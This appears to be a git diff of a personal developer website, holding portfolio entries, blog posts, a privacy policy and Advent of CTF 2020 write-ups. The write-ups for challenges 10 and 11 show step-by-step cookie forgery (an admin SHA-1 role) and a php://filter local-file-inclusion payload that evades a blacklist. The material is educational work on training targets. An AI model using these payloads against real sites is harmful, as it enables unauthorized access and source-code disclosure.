company_url = "https://maik.dev"
cover = "img/portfolio/learn-to-program/screenshot.png"
description = "This website was created for a school assignment. It was created with HTML and CSS only and no frameworks were used."
skills = [
"Pure HTML and CSS",
]
+++
This website was created for a school assignment. It was created with HTML and CSS only and no frameworks were used.
[Github](https://github.com/maikka39/Learn-to-Program)
+22
View File
@@ -0,0 +1,22 @@
+++
author = "Maik de Kruif"
title = "SuperBot"
start_date = 2018-08-17
end_date = 2021-04-24
company_name = "Personal"
company_url = "https://maik.dev"
description = "A Discord bot I wrote for my own server so that I could manage the server better and listen to music in voice channels."
skills = [
"Python",
"Asynchronous programming",
"Input validation",
]
+++
An amazing Discord bot with lots of functionalities!
A Discord bot I wrote for my own server so that I could manage the server better and listen to music in voice channels.
SuperBot is the solution to your crowded and chaotic Discord server!
[Github](https://github.com/maikka39/SuperBot)
@@ -0,0 +1,19 @@
+++
author = "Maik de Kruif"
title = "Toy-Neural-Network-Py"
start_date = 2019-03-02
end_date = 2019-04-16
company_name = "Personal"
company_url = "https://maik.dev"
description = "Neural Network Python library for experimenting with Machine Learning"
skills = [
"Machine Learning",
"Neural Networks",
"Matrix calculations",
"Overheating hardware",
]
+++
Neural Network Python library for experimenting with Machine Learning
[Github](https://github.com/maikka39/Toy-Neural-Network-Py)
+24
View File
@@ -0,0 +1,24 @@
+++
author = "Maik de Kruif"
title = "WatchTogether"
start_date = 2018-08-17
end_date = 9999-01-01
company_name = "Personal"
company_url = "https://maik.dev"
cover = "img/portfolio/watch-together/screenshot.png"
description = "A website to watch a youtube video together with someone who is not directly next to you!"
skills = [
"Websockets",
"Socket-IO",
"NodeJS",
"React",
"Real time synchronization",
"REST API",
]
+++
WatchTogether is an online service that lets you watch a video together with your friends without being in the same room!
[Github](https://github.com/maikka39/WatchTogether)
[Github (backend)](https://github.com/maikka39/WatchTogether-Server)
@@ -0,0 +1,22 @@
+++
author = "Maik de Kruif"
title = "Youtube-Music-Desktop-Player"
start_date = 2019-10-17
end_date = 2019-12-07
company_name = "Personal"
company_url = "https://maik.dev"
cover = "img/portfolio/youtube-music-desktop-player/screenshot.png"
description = "YouTube Music Desktop Player converts YouTube Music to a standalone desktop app. Because of this, you will never have to go through all your tabs to control your music."
skills = [
"Desktop Application Development",
"Electron",
"Object Oriented JavaScipt",
"Script injection",
]
+++
YouTube Music Desktop Player converts YouTube Music to a standalone desktop app. Because of this, you will never have to go through all your tabs to control your music.
_This software has no affiliation this Google, YouTube Music is a trademark of Google LCC._
[Github](https://github.com/maikka39/Youtube-Music-Desktop-Player)
+7
View File
@@ -0,0 +1,7 @@
+++
author = "Maik de Kruif"
title = "Posts"
description = "Every now and then I'll write a post. Here's a collection of my previous ones."
+++
Every now and then I'll write a post. Here's a collection of my previous ones.
+34
View File
@@ -0,0 +1,34 @@
+++
author = "Maik de Kruif"
title = "Advent of Code - 2021"
date = 2021-12-01T16:41:25+02:00
description = "My participation in Advent of Code 2021."
cover = "img/posts/adventofcode/2021_cover.png"
tags = [
"AdventOfCode",
"algorithms",
]
categories = [
"code",
]
+++
It's December again!:tada:
That doesn't only mean it'll be my birthday soon :birthday:, but I'll also participate in some advent challenges again.
Last year I participated in [The Advent of CTF]({{< ref "/posts/adventofctf.md" >}}), but this year I feel like doing some coding challenges. I have heard many people talk about [Advent of Code](https://adventofcode.com/), but have never actually done the challenges. So this year, I'll be busy with Advent of Code.
## Language
I'll most likely be solving the problems in Python. This is my preferred language for most thing algoritms. I have thought about using other languages, but due to my internship I won't have much time to solve the problems and thus don't want to spend time looking up the language features.
After solving the challenges and waiting for a bit for others to solve them, I'll post my solutions on [my GitHub repo for it](https://github.com/maikka39/Advent-of-Code)
## Competition
If you feel like you you can beat me in solving the problems, feel free to join my private leaderboard using the following code: `1337061-861df0da`.
You'll have plenty of time as I won't be setting an alarm at 6 A.M. my time to solve them :sleeping:.
Happy coding to all of you that are participating!:computer:
+46
View File
@@ -0,0 +1,46 @@
+++
author = "Maik de Kruif"
title = "The Advent of CTF - 2020"
date = 2021-02-08T16:41:25+02:00
description = "My participation in The Advent of CTF 2020."
cover = "img/posts/adventofctf/cover.png"
tags = [
"AdventOfCTF",
"ctf",
]
categories = [
"ctf",
]
+++
So, last December I participated in The Advent of CTF.
## The Advent of CTF
This CTF is a yearly competition held in December. It, like the name implies, features 24 challenges. One every day before Christmas. The challenges range from easy to hard and the CTF is created and curated by [Arjen Wiersma](https://twitter.com/credmp).
## First CTF
This was my first "real" CTF. I had played some local challenged from the internet, but had never dealt with remote machines.
Because it was my first one, I though I'd be a good idea to document my progress. I choose to do this to both force myself to actually deeply understand the exploit, and help others learn how to do these challenge as I would have never been able to solve them if it weren't for some great writeups by others.
[My writeups of these challenges can be found here]({{< ref "/tags/adventofctf/" >}}).
## Expreriences
From playing this CTF I learned a lot about how website can be exploited. Like I said above, I did have _some_ previous knowledge, but no where near what I have now because of this CTF.
The challenges were very diverse and every single one thought me a new subject.
Even though I was pretty new to this, I almost managed to get a first blood on a challenge. Only being beated by a few minutes. In the end I did end up in the top 20, finishing in 13th place.
{{< figure src="/img/posts/adventofctf/scoreboard.jpeg" title="Scoreboard" >}}
Because I finished in 13th place, I even got a physical coin as a remider of this CTF.
{{< figure src="/img/posts/adventofctf/coin.jpeg" title="Coin" >}}
Finally, I'd like to thank [Arjen Wiersma](https://twitter.com/credmp) and [NOVI Hogeschool](https://twitter.com/NOVIhogeschool) again for this awesome CTF and this great opportinity to learn about hacking.
The original challenges can be found on [the Advent of CTF GitHub page](https://github.com/adventofctf/2020).
+90
View File
@@ -0,0 +1,90 @@
+++
author = "Maik de Kruif"
title = "My Linux Journey"
date = 2022-02-17T16:41:25+02:00
description = "Recently, my friend Raymon posted on is website about his distro hopping journey. I thought it was fun to see what he used over the years, so created a blog post for myself to post my journey."
cover = "img/posts/linux-journey/cover.png"
tags = [
"linux",
"windows",
"zorin os",
"kali linux",
"Pop!_OS",
"manjaro",
"arch",
]
categories = [
"personal",
"linux",
]
+++
Recently, my friend [Raymon](https://raymon.dev/) [posted on is website about his distro hopping journey](https://raymon.dev/posts/2022/2/hopping-around.html). I thought it was fun to see what he used over the years, so created a blog post for myself to post my journey.
## Tl;dr
| Device | Distro _("/" means dualbooted)_ | Year |
| ---------------------------- | ------------------------------- | --------- |
| Toshiba Satellite C50D-A-10K | Windows | 2016 |
| Toshiba Satellite C50D-A-10K | ZorinOS / Windows | 2016-2017 |
| Toshiba Satellite C50D-A-10K | Kali Linux | 2017 |
| Toshiba Satellite C50D-A-10K | ZorinOS | 2017 |
| MSI GL62M 7REX | Windows | 2018 |
| MSI GL62M 7REX | Pop!_OS / Windows | 2019-2020 |
| Asus Zephyrus M GU502GV | Windows | 2020 |
| Asus Zephyrus M GU502GV | Manjaro / Windows | 2020-2021 |
| Asus Zephyrus M GU502GV | Arch / Windows | 2021-2022 |
## My journey
### First laptop
When I got my first laptop (a Toshiba Satellite C50D-A-10K), it, of course, had Windows installed. At first, this worked fine, as I didn't use my laptop that much. But as I started to use it more, I got more and more annoyed with how slow it was and the `DPC WATCHDOG VIOLATION` blue screens.
Part of the slowness was, naturally, because of the computer itself. Back then, you couldn't expect too much from a cheap AMD APU.
So, I started looking around and came across Zorin OS.
#### Zorin OS
After spending some time learning how to dual boot Zorin OS, I was pleasantly surprised with how well it worked out of the box. Its usage wasn't too different from Windows, which was a huge plus, as I had never used or heard about Linux before. And even though it looked like Windows, it was much faster to use.
As I continued using Zorin OS, I started using the terminal more and more. This is probably where my love for Linux started. It allowed me to do things much faster, and it made way more sense than having to click through twenty UI components.
#### Kali Linux
By this time, I learned about hacking, and saw many people use Kali Linux for it. As I didn't know much about it, and I didn't know how to install the tools necessary on Zorin OS, I installed Kali.
This actually wasn't a good experience. Although all the tools I wanted worked well, Kali was very slow on my machine. Because of this, I turned back to Zorin OS soon after.
### MSI laptop
Slowly, I became sick of the slowness, and wanted to play Minecraft at more than 20 FPS. So, I bought an MSI GL62M 7REX, which, with its i7-7700HQ and GTX 1050 Ti, was a massive upgrade over the AMD E1-1200 in the Toshiba.
As it, thus, was quick enough, I kept running Windows on it for a while.
I began to miss Linux after a while, though, and wanted to try something new. This is where Pop!_OS comes into view .
#### Pop!_OS
Pop!_OS was great. I got everything to work fairly quickly, and it was easy to use. I still kept Windows around for games, as Linux support was even worse than it is now.
### Asus Zephyrus
After a while, the subpar build quality of the MSI laptop really started to show. It was also a fairly heavy laptop, and since it had to carry it to school every day, I started to look for a replacement. I eventually settled on the Asus Zephyrus M GU502GV.
Initially, I used it with Windows again, but quickly installed Linux again. This time, I heard good things about Manjaro.
#### Manjaro
After I installed Manjaro on a second drive, I found out support for my laptop was pretty much nonexistent. The sound card wasn't working, the battery drained at least three times quicker, and certain special keys weren't functioning. I tried several distros, but there always were some major parts of the system that didn't feel like working.
Because of this, I had to use Windows. Because of [WSL](https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux) this was kind of doable, but overall just very annoying.
I kept coming back to it from time to time, and eventually most issues were fixed. It didn't work exactly how I wanted, though, and my system was pretty bloated.
#### I use Arch, btw
Since I liked most parts of Manjaro, I decided to install the distro Manjaro was based on, Arch Linux. Many people say it is hard to use, and difficult to install, but after using it for a little over a year now, I've found the opposite to be true. Especially when it comes to the package manager, pacman is infinitely easier to use than apt.
Arch Linux has been working very well for me up until now, and I don't plan to hop distros any time soon.
-14
View File
@@ -1,14 +0,0 @@
+++
author = "Maik de Kruif"
title = "Test Post"
date = 2020-07-08T16:41:25+02:00
description = "My first post on this website."
tags = [
"untagged",
]
categories = [
"uncategorized",
]
+++
This page should be working
+60
View File
@@ -0,0 +1,60 @@
+++
author = "Maik de Kruif"
title = "Privacy Policy"
date = 2020-12-03T22:31:58+01:00
description = ""
images = []
tags = [
"privacy",
]
categories = [
"privacy",
]
+++
This privacy policy applies to [maik.dev](https://maik.dev).
We respect the privacy of our visitors. We collect only such personal information as is needed to provide the information, service, or assistance that you request.
## Information We Collect Automatically
If you visit our website to browse, read, or download information:
- Your web browser automatically sends us (and we may retain) information such as the:
- Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
- Internet Protocol address of the computer you are using;
- type of browser software and operating system you are using;
- date and time you access our site; and
- the Internet address of the site from which you linked directly to our site.
- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
- We will not use this information to identify individuals, except for site security or law enforcement purposes.
- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
## Other Information We Collect
If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms:
- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
## How Long We Keep Information
We may keep information that will collect for an unlimited period of time.
## Security
Please note that electronic communication, particularly email, is not necessarily secure against interception. Please do not send sensitive data by email or web form.
## Cookies
We may use cookies in order to customize this site for return visitors. These cookies are not required for site functionality. Additionally, third-party widgets such as YouTube or Flickr may install cookies depending on their configuration. You are not required to accept any cookies to use this site.
### Google Analytics
We use a tool called “Google Analytics” to collect information about use of this site. Google Analytics collects information such as how often users visit this site, what pages they visit when they do so, and what other sites they used prior to coming to this site. We use the information we get from Google Analytics only to improve this site. Google Analytics collects only the IP address assigned to you on the date you visit this site, rather than your name or other identifying information. We do not combine the information collected through the use of Google Analytics with personally identifiable information. Although Google Analytics plants a permanent cookie on your web browser to identify you as a unique user the next time you visit this site, the cookie cannot be used by anyone but Google. Google’s ability to use and share information collected by Google Analytics about your visits to this site is restricted by the Google Analytics Terms of Use and the Google Privacy Policy. You can prevent Google Analytics from recognizing you on return visits to this site by disabling cookies on your browser.
## Site Monitoring
For site security purposes this computer system employs software programs to monitor network traffic. Anyone using this system consents to the monitoring of their use by system or security personnel.
Unauthorized use, tampering with or modification of this system—or its supporting hardware or software—may violate federal or other statutes and may subject the violator to criminal and civil penalties. In the event of unauthorized intrusion, all relevant information regarding possible violation of law may be provided to law enforcement officials.
+7
View File
@@ -0,0 +1,7 @@
+++
author = "Maik de Kruif"
title = "Writeups"
description = "A collection of my write-ups on Capture The Flag (CTF) events, hardware challenges and real life encounters. They explain how the goal was accomplished and try to teach you how to approach these kinds of challenges."
+++
A collection of my write-ups on Capture The Flag (CTF) events, hardware challenges and real life encounters. They explain how the goal was accomplished and try to teach you how to approach these kinds of challenges.
@@ -0,0 +1,5 @@
+++
author = "Maik de Kruif"
title = "2020"
description = "My Advent of CTF - 2020 writeups."
+++
@@ -0,0 +1,53 @@
+++
author = "Maik de Kruif"
title = "Teaser"
subtitle = "Challenge 0 - AdventOfCTF"
date = 2020-12-02T17:20:28+01:00
description = "A writeup for challenge 0 of AdventOfCTF."
cover = "img/writeups/adventofctf/2020/f90b2bf3f08ee628c09505ff309018ed.png"
tags = [
"AdventOfCTF",
"challenge",
"ctf",
"hacking",
"writeup",
"web",
]
categories = [
"ctf",
"writeups",
"hacking",
]
aliases = [
"challenge_0"
]
+++
- Points: 1
## Description
Do you remember the flag in the teaser website?
## Solution
Sadly, the teaser website isn't online anymore. If only someone kept an archive of the internet. This is where the Wayback Machine on [archive.org](https://archive.org/) comes in handy.
So, let's use the Wayback Machine to get the teaser page. <https://web.archive.org/web/20201112020839/https://adventofctf.com/>
When we take a look at the source html of the page we find the following comment:
```html
<!-- Ceasar worked on this you know. Tk9WSXtIRVlfMVNfVGgxU19AX0ZsYTk/fQ== -->
```
It looks like some encoded string. If you've been doing CTFs for a while you'll probably recognize it's encoded in `base64`. We can use the program `base64` to decode this string.
```bash
> echo "Tk9WSXtIRVlfMVNfVGgxU19AX0ZsYTk/fQ==" | base64 -d
NOVI{HEY_1S_Th1S_@_Fla9?}
```
We found the flag! It's `NOVI{HEY_1S_Th1S_@_Fla9?}`.
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#0-1).
@@ -0,0 +1,53 @@
+++
author = "Maik de Kruif"
title = "The Source"
subtitle = "Challenge 1 - AdventOfCTF"
date = 2020-12-02T17:27:25+01:00
description = "A writeup for challenge 1 of AdventOfCTF."
cover = "img/writeups/adventofctf/2020/3f12301d8715a1371d2d776d25ea6ab6.png"
tags = [
"AdventOfCTF",
"challenge",
"ctf",
"hacking",
"writeup",
"web",
]
categories = [
"ctf",
"writeups",
"hacking",
]
aliases = [
"challenge_1"
]
+++
- Points: 100
## Description
All starts should be easy
Visit <https://01.adventofctf.com> to start the challenge.
## Solution
When opening the page, we're asked for Santa's password. Unfortunately, we don't know the password. Don't stop there though, mayby someone has hidden it in the source html.
Let's open the source by pressing `Ctrl + U` and take a look at it. Near the bottom we find the following comment:
```html
<!-- This is an odd encoded thing right? YWR2ZW50X29mX2N0Zl9pc19oZXJl -->
```
This looks like a `base64` encoded string so let's use the program `base64` with the `-d` decode flag to decode the text.
```bash
> echo "YWR2ZW50X29mX2N0Zl9pc19oZXJl" | base64 -d
advent_of_ctf_is_here
```
We get some plain text. If we enter it as Santa's password on the challenge page, it gives us the flag: `NOVI{L3T_7H3_M0NTH_0F_FUN_START}`.
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#1-2).
@@ -0,0 +1,70 @@
+++
author = "Maik de Kruif"
title = "Include"
subtitle = "Challenge 10 - AdventOfCTF"
date = 2020-12-11T22:12:42+01:00
description = "A writeup for challenge 10 of AdventOfCTF."
cover = "img/writeups/adventofctf/2020/ba15475608ea3f8313825eec5dceac06.png"
tags = [
"AdventOfCTF",
"challenge",
"ctf",
"hacking",
"writeup",
"web",
]
categories = [
"ctf",
"writeups",
"hacking",
]
aliases = [
"challenge_10"
]
+++
- Points: 1000
## Description
When files are included things can get real messy. The flag is in flag.php.
Visit <https://10.adventofctf.com> to start the challenge.
## Finding the vulnerability
When opening the website we get some text but it is not really useful. So let's go to [`/flag.php`](https://10.adventofctf.com/flag.php) because the description told us the flag is there.
When opening `/flag.php` we get a message "You are on the right page, but you cannot see what you want yet. Go get promoted!". Hmm, let's take a look at the cookies.
We find one cookie: `zeroten=eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0%3D`. this looks base64 encoded, so let's try to decode it:
```bash
echo -n "eyJwYWdlIjoibWFpbiIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=" | base64 -d
```
```json
{ "page": "main", "role": "12dea96fec20593566ab75692c9949596833adc9" }
```
We see that we have a `page` and a `role`. Let's try to replace modify `page` to "flag".
```bash
echo -n '{"page":"flag","role":"12dea96fec20593566ab75692c9949596833adc9"}' | base64 -w 0
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiIxMmRlYTk2ZmVjMjA1OTM1NjZhYjc1NjkyYzk5NDk1OTY4MzNhZGM5In0=
```
We changing the cookie to the new value we get.. nothing... After going back to the home page, we get the text of `/flag.php` so this is probably Local File Inclusion. Let's take another look at the `role`. I don't recognize the format so let's try our friend Google.
It looks like it is the `SHA-1` hash of "user". We could try to replace the `role` with the `SHA-1` hash of "admin". We can use an online sha1 converter to do this. The output is `d033e22ae348aeb5660fc2140aec35850c4da997`. Now we base64 encode this and put it back into the cookie.
```bash
echo -n '{"page":"flag","role":"d033e22ae348aeb5660fc2140aec35850c4da997"}' | base64 -w 0
> eyJwYWdlIjoiZmxhZyIsInJvbGUiOiJkMDMzZTIyYWUzNDhhZWI1NjYwZmMyMTQwYWVjMzU4NTBjNGRhOTk3In0=
```
## Solution
If we now reload the home page, we're greeted with the flag: `NOVI{LFI_1s_ask1ng_f0r_tr0bl3}`.
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#10-11).
@@ -0,0 +1,157 @@
+++
author = "Maik de Kruif"
title = "Filter"
subtitle = "Challenge 11 - AdventOfCTF"
date = 2020-12-11T23:45:32+01:00
description = "A writeup for challenge 11 of AdventOfCTF."
cover = "img/writeups/adventofctf/2020/3542630bd0bb5141d94e4b40930bd69d.png"
tags = [
"AdventOfCTF",
"challenge",
"ctf",
"hacking",
"writeup",
"web",
"php",
]
categories = [
"ctf",
"writeups",
"hacking",
]
aliases = [
"challenge_11"
]
+++
- Points: 1100
## Description
Santa's book of secrets has upgraded its security. All should be fine now. The flag is in flag.php.
Visit <https://11.adventofctf.com> to start the challenge.
## Finding the vulnerability
When opening the challenge website, we get some text saying "there is only one person on the naughty list". As there is no visible input, we open devtools to have a look at the cookies or javascript. Here we find one cookie:
```text
zerooneone=eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0%3D
```
We'll get back to this later, let's first check the flag location provided in the challenge description [`flag.php`](https://11.adventofctf.com/flag.php). Upon opening it, we get a message: "Direct access not permitted". Quite useless for now.
### Cookie
The cookie value looks like a base64 encoded string, so let's try to decode it:
```bash
echo -n "eyJwYXRoIjoiLiIsInBhZ2UiOiJtYWluIn0" | base64 -d
> {"path":".","page":"main"}
```
The output is some JSON data with a path and a page. Let's try to change the page to `flag`.
```bash
echo -n '{"path":".","page":"flag"}' | base64 -w 0
> eyJwYXRoIjoiLiIsInBhZ2UiOiJmbGFnIn0=
```
If we replace the cookie value with this new string and reload the page we get the following message: "Are you trying to get yourself on the naughty list? (no_direct_access)". Sadly we cannot read the flag directly, but this is a different message than the one we got earlier when reading the flag so it might be a different filter. Let's try to access a random page:
```bash
echo -n '{"path":".","page":"asd"}' | base64 -w 0
> eyJwYXRoIjoiLiIsInBhZ2UiOiJhc2QifQ==
```
When loading the page with this new cookie we get some PHP warnings.
### Local File Inclusion
The error message we got was the following:
```text
Warning: include(./asd.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 76
Warning: include(): Failed opening './asd.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 76
```
Hmm, it seems like it is directly including the input as the page with `.php` appended to it. As we saw earlier, directly accessing the flag didn't work but maybe if we use another path it does. As we know the document root path of the website, we can use the absolute path to the flag and try to access it that way:
```bash
echo -n '{"path":"/var/www/","page":"html/flag"}' | base64 -w 0
> eyJwYXRoIjoiLiIsInBhZ2UiOiIvdmFyL3d3dy9odG1sL2ZsYWcifQ==
```
This time we get another message: "You are on the right page, but you cannot see what you want yet. Go get promoted!".
### Promotion
Go get promoted? I have not seen a way to get promoted... I tried adding extra variables to the JSON like `user` and `role` from previous challenges but nothing worked. Then, I remembered we've got local file inclusion and thus might have another way of reading the file.
### Reading the file
The reason we cannot get the file by just including it, is that it is a PHP file and the flag is probably a variable in it that is not printed. Because of this, the only way to get the flag would be by getting the source of `flag.php`.
#### PHP Filters
PHP has several filters that can be used to read or validate data. This includes [conversion filters](https://www.php.net/manual/en/filters.convert.php). The conversion filter can be used, for instance, convert a file to and from base64. This is exactly what we want as PHP will not thread base64 data as PHP.
Let's try to use the `base64-encode` filter to encode the `flag.php` file to base64:
```bash
echo -n '{"path":"php://filter/convert.base64-encode/resource=/var/www/","page":"read=html/flag"}' | base64 -w 0
> eyJwYXRoIjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vdmFyL3d3dy8iLCJwYWdlIjoicmVhZD1odG1sL2ZsYWcifQ==
```
Sadly, we didn't get the file. Instead we got another message: "Are you trying to get yourself on the naughty list? (blacklist)". It seems like the usage of filters is also blacklisted. After several attempts, I got it to work with the following input:
```bash
echo -n '{"path":"php://filter","page":"read=convert.base64-encode/resource=/var/www/html/flag"}' | base64 -w 0
> eyJwYXRoIjoicGhwOi8vZmlsdGVyIiwicGFnZSI6InJlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZmxhZyJ9
```
It seems like the check only looks for `filter/convert` in the path and page separately instead of first joining them together as this time, we got some base64 encoded string as the output:
```text
PD9waHAKaWYoIWRlZmluZWQoJ015Q29uc3QnKSkgewogICBkaWUoJ0RpcmVjdCBhY2Nlc3Mgbm90IHBlcm1pdHRlZCcpOwp9Cj8+Cgo8aDQ+V2h5IGRvZXMgRWdpc2NoZSBrZWVwIHNob3dpbmcgdXA/PC9oND4KPD9waHAKCmlmICgkX0NPT0tJRVsiemVyb29uZW9uZSJdKSB7CiAgICAkZGF0YSA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoJF9DT09LSUVbInplcm9vbmVvbmUiXSksIHRydWUpOwp9CgppZiAoZmFsc2UpIHsKPz4KICAgIDxwPgogICAgICAgIFRoZSBkYXJrIHNlY3JldCBvbiB0aGlzIHBhZ2UgaXM6IE5PVkl7TEZJX2FuZF9zdDFsbF95b3VfZjB1bmRfaXR9CiAgICA8L3A+Cjw/Cn0gZWxzZSB7Cj8+CiAgICA8cD4KICAgICAgICBZb3UgYXJlIG9uIHRoZSByaWdodCBwYWdlLCBidXQgeW91IGNhbm5vdCBzZWUgd2hhdCB5b3Ugd2FudCB5ZXQuIEdvIGdldCBwcm9tb3RlZCEKICAgIDwvcD4KPD9waHAKfQo/Pgo=
```
## Solution
If we use the `base64` command again to decode this string we get the following:
```php
<?php
if(!defined('MyConst')) {
die('Direct access not permitted');
}
?>
<h4>Why does Egische keep showing up?</h4>
<?php
if ($_COOKIE["zerooneone"]) {
$data = json_decode(base64_decode($_COOKIE["zerooneone"]), true);
}
if (false) {
?>
<p>
The dark secret on this page is: NOVI{LFI_and_st1ll_you_f0und_it}
</p>
<?
} else {
?>
<p>
You are on the right page, but you cannot see what you want yet. Go get promoted!
</p>
<?php
}
?>
```
It doesn't really look like valid PHP but, we got the flag! It is `NOVI{LFI_and_st1ll_you_f0und_it}`.
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#11-12).

Some files were not shown because too many files have changed in this diff Show More